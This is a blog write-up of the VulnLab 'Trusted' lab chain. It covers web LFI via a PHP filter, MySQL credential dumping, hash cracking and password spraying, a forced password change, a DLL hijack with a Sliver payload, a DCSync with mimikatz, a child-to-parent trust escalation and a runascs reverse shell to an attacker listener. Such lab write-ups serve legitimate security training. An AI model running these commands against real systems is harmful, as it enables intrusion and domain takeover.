Vulnlab - Trusted Writeup

Liam Geyer
  2025-06-06 2025-06-06 Created   2026-06-02 20:25:18 2026-06-02 20:25:18 Updated   

๐Ÿ‘พ Chain Overview

This is a writeup of the chain Trusted from VulnLab. This chain was a lot of fun and dealt with some common web attacks, DLL hijacking, and AD trust exploitation.

๐Ÿ” Enumeration

I started off with an Nmap scan of the box:

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nmap -sV -sC -Pn 10.10.168.5-6
Nmap scan report for 10.10.168.5
Host is up (0.100s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-22 20:09:34Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-09-22T20:10:03+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=trusteddc.trusted.vl
| Not valid before: 2024-09-21T20:04:55
|_Not valid after:  2025-03-23T20:04:55
| rdp-ntlm-info: 
|   Target_Name: TRUSTED
|   NetBIOS_Domain_Name: TRUSTED
|   NetBIOS_Computer_Name: TRUSTEDDC
|   DNS_Domain_Name: trusted.vl
|   DNS_Computer_Name: trusteddc.trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-22T20:09:45+00:00
Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-22T20:09:46
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Nmap scan report for 10.10.168.6
Host is up (0.099s latency).
Not shown: 985 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.168.6/dashboard/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-22 20:09:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-title: Welcome to XAMPP
|_Requested resource was https://10.10.168.6/dashboard/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3306/tcp open  mysql         MySQL 5.5.5-10.4.24-MariaDB
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.4.24-MariaDB
|   Thread ID: 11
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, Support41Auth, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolNew, SupportsTransactions, ODBCClient, FoundRows, InteractiveClient, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: KGb::Qh:'SMhBSW=j~Z*
|_  Auth Plugin Name: mysql_native_password
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=labdc.lab.trusted.vl
| Not valid before: 2024-09-21T20:04:57
|_Not valid after:  2025-03-23T20:04:57
| rdp-ntlm-info: 
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: LABDC
|   DNS_Domain_Name: lab.trusted.vl
|   DNS_Computer_Name: labdc.lab.trusted.vl
|   DNS_Tree_Name: trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-22T20:09:48+00:00
|_ssl-date: 2024-09-22T20:10:03+00:00; -1s from scanner time.
Service Info: Host: LABDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-22T20:09:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 119.55 seconds

I went ahead and added the following hosts to my /etc/hosts file:

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trusted.vl
labdc.lab.trusted.vl
trusteddc.trusted.vl

I started by checking out SMB - I wasnโ€™t able to get anonymous or guest access to any shares and SMBv1 is disabled.

๐Ÿฅผ LabDC

๐Ÿ‘จโ€โš– Web - Manes Winchester Family Law

Since SMB wasnโ€™t fruitful I pivoted to web on the LabDC.

XAMPP Page

The site proudly exclaims that itโ€™s running XAMPP for Windows 8.1.6 - and is Using PHP.

Dirbing the site I found a couple interesting endpoints.

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gobuster dir -w ~/GitHub/SecLists/Discovery/Web-Content/big.txt -u https://10.10.168.6 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.168.6
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/lfgberg/GitHub/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 301]
/.htpasswd            (Status: 403) [Size: 301]
/aux                  (Status: 403) [Size: 301]
/cgi-bin/             (Status: 403) [Size: 301]
/com3                 (Status: 403) [Size: 301]
/com2                 (Status: 403) [Size: 301]
/com4                 (Status: 403) [Size: 301]
/com1                 (Status: 403) [Size: 301]
/con                  (Status: 403) [Size: 301]
/dashboard            (Status: 301) [Size: 340] [--> https://10.10.168.6/dashboard/]
/dev                  (Status: 301) [Size: 334] [--> https://10.10.168.6/dev/]
/examples             (Status: 503) [Size: 401]
/favicon.ico          (Status: 200) [Size: 30894]
/img                  (Status: 301) [Size: 334] [--> https://10.10.168.6/img/]
/licenses             (Status: 403) [Size: 420]
/lpt1                 (Status: 403) [Size: 301]
/lpt2                 (Status: 403) [Size: 301]
/nul                  (Status: 403) [Size: 301]
/phpmyadmin           (Status: 403) [Size: 301]
/prn                  (Status: 403) [Size: 301]
/server-status        (Status: 403) [Size: 420]
/server-info          (Status: 403) [Size: 420]
/webalizer            (Status: 403) [Size: 301]
/xampp                (Status: 301) [Size: 336] [--> https://10.10.168.6/xampp/]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

I started by checking out /dev.

Manchester Family Law

At the bottom we can see a Latest News section with an interesting note for Eric.

Latest News

Looks like thereโ€™s going to be a database connection string or credentials that we can grab somehow. I forcefully browsed to /db.php (also couldโ€™ve found by fuzzing w the .php extension) and we see the string Connected Successfully.

Connected!

This isnโ€™t super helpful - we need a way to grab the source of this page to see if we can find the database connection string/credentials. We can probably use PHP filters to base64 encode the content - but we need somewhere to use them likely via LFI.

Checking out the URL as we browse to different parts of the site thereโ€™s an interesting view parameter: https://10.10.168.6/dev/index.html?view=X.

We can toss a PHP filter in here to Base64 encode the content of db.php allowing us to grab the full source for the file https://10.10.168.6/dev/index.html?view=php://filter/convert.base64-encode/resource=db.php.

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<?php 
$servername = "localhost";
$username = "root";
$password = "[REDACTED]";

$conn = mysqli_connect($servername, $username, $password);

if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
?>

Yippee! Some cleartext credentials.

๐Ÿ—ƒ MySQL

I went ahead and used those credentials to connect to MySQL on the Lab DC.

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# Prompts for password
mysql -h [IP] -u root -p

To start I listed out the databases.

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mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| news               |
| performance_schema |
| phpmyadmin         |
| test               |
+--------------------+
6 rows in set (0.11 sec)

News looks cool - lets list tables.

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mysql> use news
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------+
| Tables_in_news |
+----------------+
| users          |
+----------------+
1 row in set (0.12 sec)

Users is also generally pretty cool - letโ€™s dump the content and look for creds.

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mysql> select * from users;
+----+------------+--------------+-----------+----------------------------------+
| id | first_name | short_handle | last_name | password                         |
+----+------------+--------------+-----------+----------------------------------+
|  1 | Robert     | rsmith       | Smith     | [REDACTED_HASH]                  |
|  2 | Eric       | ewalters     | Walters   | [REDACTED_HASH]                  |
|  3 | Christine  | cpowers      | Powers    | [REDACTED_HASH]                  |
+----+------------+--------------+-----------+----------------------------------+
3 rows in set (0.12 sec)

Whoโ€™d have guessed - hashed credentials! These are MD5 - so I tried to give them a crack with hashcat.

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hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

I was able to get one of them to crack, so I made a userlist from the short_handle column, and sprayed against SMB.

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nxc smb [LAB DC IP] -p pass.list -u user.list
SMB         10.10.168.6     445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.168.6     445    LABDC            [-] lab.trusted.vl\Administrator:[REDACTED] STATUS_LOGON_FAILURE 
SMB         10.10.168.6     445    LABDC            [+] lab.trusted.vl\rsmith:[REDACTED]

Sure enough that popped for rsmith!

๐Ÿ‘ทโ€โ™‚ Robert Smith

Now as Robert - we canโ€™t WinRM - so I tried using bloodhound-python to enumerate AD.

No go. DNS issues. I was able to get around them using dnschef, a DNS proxy that can be useful for troubleshooting AD related DNS struggles.

We can use dnschef to proxy our DNS traffic to the Lab DC and make Bloodhound happy.

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# in one window
python3 dnschef.py --fakeip [LAB DC IP]

# in another window
bloodhound-python -d 'lab.trusted.vl' -ns 127.0.0.1 -u 'rsmith' -p 'IHateEric2' -c all -dc labdc.LAB.TRUSTED.VL --zip

It looks like we have ForceChangePassword, and can change the password for ewalters.

BH ForceChangePass

One way to do this is with RPC.

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net rpc password "ewalters" "Password123" -U "lab.trusted.vl"/"rsmith"%"[REDACTED]" -S "[LAB DC IP]"

๐Ÿˆโ€โฌ› Eric Walters

Now as ewalters - we can WinRM in with our newly changed password.

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*Evil-WinRM* PS C:\Users\ewalters\Desktop> type User.txt
|\---/|
| o_o |
 \_^_/
These are not the flags you're looking for.
Take :robitcat: as compensation :).

Evil. Only time Iโ€™ve ever been trolled by VL. Iโ€™m in tears.

Iโ€™ve been had. I popped two Sliver beacons as ewalters and moved on. I found an interesting file in C:\AVTest:

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*Evil-WinRM* PS C:\AVTest> cat readme.txt
Since none of the AV Tools we tried here in the lab satisfied our needs it's time to clean them up.
I asked Christine to run them a few times, just to be sure.

Let's just hope we don't have to set this lab up again because of this.

In AVTest thereโ€™s a binary C:\AVTest\KasperskyRemovalTool.exe. Iโ€™m thinking this could be a DLL Hijacking scenario - I exfiltrated the binary to a Windows machine and ran procmon.

Using Process Monitor we can filter for DLLโ€™s that are searched for and not found - we can then place a malicious DLL where Kaspersky is looking for it to have it be run in the context of whatever user runs Kaspersky.

The program attempts to load KasperskyRemovalToolENU.dll - but it canโ€™t be found. I generated a malicious DLL with Sliver and threw it on disk.

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generate --os windows --format shared --mtls [ATTACKER IP]:8443 --arch x86

Thereโ€™s another user running Kasperky on a schedule - and if we wait weโ€™ll get a new callback as cpowers.

Sliver Callbacks

๐Ÿ•ด Christine Powers - DA Extraordinaire

Christine is a Domain Admin - thatโ€™s pretty cool. And just as youโ€™d think due to the name of the machine - we have a trust to exploit.

Trust BH

Thereโ€™s a Parent-Child trust between lab.trusted.vl and trusted.vl. This means that because weโ€™ve compromised the lab domain, we can become an admin on the parent domain as well.

Since we donโ€™t actually have any credentials for Christine, I used mimikatz to dump her NTLM hash.

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.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:cpowers"

Now we can exploit this trust by hand OR we can use Impacketโ€™s handy dandy raiseChild.py which is made for exactly this scenario. All we have to do is supply credentials for a DA in a child domain and it will DCSync the parent.

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raiseChild.py "lab.trusted.vl"/"cpowers" -hashes ":[REDACTED]"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Raising child domain lab.trusted.vl
[*] Forest FQDN is: trusted.vl
[*] Raising lab.trusted.vl to trusted.vl
[*] trusted.vl Enterprise Admin SID is: S-1-5-21-3576695518-347000760-3731839591-519
[*] Getting credentials for lab.trusted.vl
[SNIPPED]

Under the hood this uses the SID History attack to get us a ticket for the Enterprise Admin group on the parent domain, and DCSync automatically.

๐Ÿ”’ EFS - One Final Troll

Now we can WinRM to the main DC as DA - but weโ€™re not actually able to read the final flag.

EFS - or the Windows Encrypting File System is preventing us from viewing the flag. We can evade this using runascs to start a new shell.

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# On target
net user administrator Password123
.\runascs.exe administrator 'Password123' cmd.exe -r 10.8.0.230:6969
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# On attacker
nc -lvnp 6969
Listening on 0.0.0.0 6969
Connection received on 10.10.211.69 55389
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
VL{[SNIPPED]}
C:\Windows\system32>

Yippee!!

  • Title: Vulnlab - Trusted Writeup
  • Author: Liam Geyer
  • Created at : 2025-06-06 00:00:00
  • Updated at : 2026-06-02 20:25:18
  • Link: https://lfgberg.org/2025/06/06/vulnlab/trusted/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Vulnlab - Trusted Writeup
  1. ๐Ÿ‘พ Chain Overview
  2. ๐Ÿ” Enumeration
  3. ๐Ÿฅผ LabDC
    1. ๐Ÿ‘จโ€โš– Web - Manes Winchester Family Law
    2. ๐Ÿ—ƒ MySQL
    3. ๐Ÿ‘ทโ€โ™‚ Robert Smith
    4. ๐Ÿˆโ€โฌ› Eric Walters
  4. ๐Ÿ•ด Christine Powers - DA Extraordinaire
  5. ๐Ÿ”’ EFS - One Final Troll